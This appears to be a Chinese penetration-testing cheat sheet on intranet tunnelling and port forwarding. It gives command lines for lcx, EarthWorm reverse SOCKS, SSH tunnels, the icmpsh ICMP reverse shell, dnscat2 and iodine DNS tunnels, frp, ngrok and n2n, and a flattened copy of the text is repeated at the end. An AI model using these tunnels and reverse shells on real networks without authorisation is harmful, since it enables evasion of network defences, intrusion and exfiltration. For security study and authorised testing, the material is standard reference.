内网穿透及端口转发大合集
字数 1457 2025-08-25 22:58:20

内网穿透及端口转发技术详解

0x00 前言

内网穿透及端口转发是网络安全渗透测试中的重要技术,主要用于突破网络边界限制,实现内网访问和控制。本文全面总结了多种内网穿透和端口转发工具及技术。

0x01 代理基础

正向代理

正向代理是客户端代理,代理客户端,服务端不知道实际发起请求的客户端。

特点

  • 代理客户端请求
  • 服务端无法识别真实客户端
  • 典型应用:VPN、科学上网

数据流向

Client --> Proxy <--> Server

反向代理

反向代理是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。

特点

  • 代理服务器响应
  • 客户端无法识别真实服务器
  • 典型应用:Nginx、负载均衡

数据流向

Client <--> Proxy <-- Server

0x02 Lcx工具

Lcx是一款经典的端口转发工具,常用于内网穿透。

端口转发

内网机器执行

lcx.exe -slave 公网IP 端口 内网IP 端口

示例:

lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389
lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389

公网机器执行

lcx.exe -listen 监听端口 连接端口

示例:

lcx.exe -listen 6666 2222

连接方式

mstsc /v:127.0.0.1:2222

端口映射

当内网机器防火墙禁止3389出站时使用:

lcx.exe -tran 映射端口 连接IP 连接端口

示例:

lcx.exe -tran 66 192.168.183.168 3389

0x03 EarthWorm工具

EarthWorm(EW)是一套便携式网络穿透工具,支持SOCKS v5服务和端口转发。

命令格式

  1. ssocksd - 开启Socks5代理服务
  2. rcsocks - 接收反弹过来的Socks5服务
  3. rssocks - 本地启用Socks5服务并反弹
  4. lcx_slave - 端口转发
  5. lcx_listen - 端口转发
  6. lcx_tran - 端口映射

普通网络环境

正向socks5

目标网络存在公网IP且可任意开监听端口时:

ew_for_Win.exe -s ssocksd -l 1080

反向socks5

目标网络边界不存在公网IP时:

公网主机

ew_for_Win.exe -s rcsocks -l 1080 -e 8888

内网主机

ew_for_Win.exe -s rssocks -d 10.19.11.138 -e 8888

二级网络环境

环境一

A主机

ew_for_Win.exe -s ssocksd -l 8888

B主机

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.44.128 -g 8888

环境二

VPS

ew_for_Win.exe -s lcx_listen -l 1080 -e 8888

A主机

ew_for_Win.exe -s ssocksd -l 9999

B主机

ew_for_Win.exe -s lcx_slave -d 10.19.11.138 -e 8888 -f 192.168.44.128 -g 9999

0x04 SSH隧道

SSH参数详解

  • -C - 压缩数据传输
  • -q - 安静模式
  • -T - 不占用shell
  • -f - 后台运行
  • -N - 不执行远程命令
  • -L - 本地端口转发
  • -R - 远程端口转发
  • -D - 动态端口转发
  • -g - 允许远程主机连接

SSH本地转发

语法

ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host

示例

ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx

SSH远程转发

语法

ssh -R [bind_addr:]remote1_port:host:port remote1

示例

ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195

注意:需在sshd配置中启用GatewayPorts yes

SSH动态转发

语法

ssh -D [bind_addr:]port remote

示例

ssh -Nfg -D 3333 root@45.77.xx.xx

0x05 ICMP隧道

ptunnel

关闭ICMP响应

sysctl -w net.ipv4.icmp_echo_ignore_all=1

跳板机(B)

ptunnel

客户端(C)

ptunnel -p 192.168.137.128 -lp 8888 -da 192.168.44.130 -dp 3389

连接

mstsc /v:192.168.137.129:8888

icmpsh

服务端(kali)

./icmpsh-m.py <source IP> <destination IP>
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.168.137.129 192.168.137.132

客户端

icmpsh.exe -t 192.168.137.129

0x06 DNS隧道

dnscat2

服务端部署

git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev 
cd dnscat2/server/ 
gem install bundler 
bundle install 
ruby ./dnscat2.rb

客户端部署

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
./dnscat --dns server=192.168.137.129,port=53 --secret=ca7670fc9b8f016b3ccb5749d11eed62

Iodine

DNS服务器配置

yum install bind*
vim /etc/named.conf
vim /etc/named.rfc1912.zones
cp /var/named/named.localhost /var/named/named.dns.com
vim /var/named/named.dns.com
systemctl restart named.service

服务端

iodined -f -P 123456 10.1.1.1 www.dns.com

客户端

iodine -f -P 123456 192.168.137.150 www.dns.com

0x07 Frp

服务端配置

frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7500
token = 12345678
dashboard_user = admin
dashboard_pwd = admin
vhost_http_port = 10080
vhost_https_port = 10443

启动

./frps -c frps.ini
nohup ./frps -c frps.ini &

客户端配置

frpc.ini

[common]
server_addr = x.x.x.x
server_port = 7000
token = 12345678

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 7001

启动

./frpc -c frpc.ini

0x08 Ngrok

  1. 官网注册获取token:https://dashboard.ngrok.com
  2. 生成配置文件ngrok.yml
  3. 执行穿透命令:
    ngrok.exe tcp 22
    ngrok.exe http 80
    ngrok.exe tcp 3389
    

0x09 N2n

编译安装

git clone https://github.com/meyerd/n2n
apt install subversion build-essential libssl-dev net-tools
cd n2n/n2n_v2/
mkdir build
cd build
cmake ..
make && make install

服务端

supernode -l 7654
nohup supernode -l 7654 -v &

客户端

edge -a 10.2.2.2 -c group -k 123456 -l 45.77.xx.xx:7654

0x0A 参考

  1. https://www.cnblogs.com/f-ck-need-u/p/10482832.html
  2. https://cloud.tencent.com/developer/article/1120865
  3. https://www.anquanke.com/post/id/163240
  4. https://zerokeeper.com/experience/network-port-forwarding-and-penetration.html
内网穿透及端口转发技术详解 0x00 前言 内网穿透及端口转发是网络安全渗透测试中的重要技术,主要用于突破网络边界限制,实现内网访问和控制。本文全面总结了多种内网穿透和端口转发工具及技术。 0x01 代理基础 正向代理 正向代理是客户端代理,代理客户端,服务端不知道实际发起请求的客户端。 特点 : 代理客户端请求 服务端无法识别真实客户端 典型应用:VPN、科学上网 数据流向 : 反向代理 反向代理是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。 特点 : 代理服务器响应 客户端无法识别真实服务器 典型应用:Nginx、负载均衡 数据流向 : 0x02 Lcx工具 Lcx是一款经典的端口转发工具,常用于内网穿透。 端口转发 内网机器执行 : 示例: 公网机器执行 : 示例: 连接方式 : 端口映射 当内网机器防火墙禁止3389出站时使用: 示例: 0x03 EarthWorm工具 EarthWorm(EW)是一套便携式网络穿透工具,支持SOCKS v5服务和端口转发。 命令格式 ssocksd - 开启Socks5代理服务 rcsocks - 接收反弹过来的Socks5服务 rssocks - 本地启用Socks5服务并反弹 lcx_slave - 端口转发 lcx_listen - 端口转发 lcx_tran - 端口映射 普通网络环境 正向socks5 目标网络存在公网IP且可任意开监听端口时: 反向socks5 目标网络边界不存在公网IP时: 公网主机 : 内网主机 : 二级网络环境 环境一 A主机 : B主机 : 环境二 VPS : A主机 : B主机 : 0x04 SSH隧道 SSH参数详解 -C - 压缩数据传输 -q - 安静模式 -T - 不占用shell -f - 后台运行 -N - 不执行远程命令 -L - 本地端口转发 -R - 远程端口转发 -D - 动态端口转发 -g - 允许远程主机连接 SSH本地转发 语法 : 示例 : SSH远程转发 语法 : 示例 : 注意 :需在sshd配置中启用 GatewayPorts yes SSH动态转发 语法 : 示例 : 0x05 ICMP隧道 ptunnel 关闭ICMP响应 : 跳板机(B) : 客户端(C) : 连接 : icmpsh 服务端(kali) : 客户端 : 0x06 DNS隧道 dnscat2 服务端部署 : 客户端部署 : Iodine DNS服务器配置 : 服务端 : 客户端 : 0x07 Frp 服务端配置 frps.ini : 启动 : 客户端配置 frpc.ini : 启动 : 0x08 Ngrok 官网注册获取token:https://dashboard.ngrok.com 生成配置文件 ngrok.yml 执行穿透命令: 0x09 N2n 编译安装 服务端 客户端 0x0A 参考 https://www.cnblogs.com/f-ck-need-u/p/10482832.html https://cloud.tencent.com/developer/article/1120865 https://www.anquanke.com/post/id/163240 https://zerokeeper.com/experience/network-port-forwarding-and-penetration.html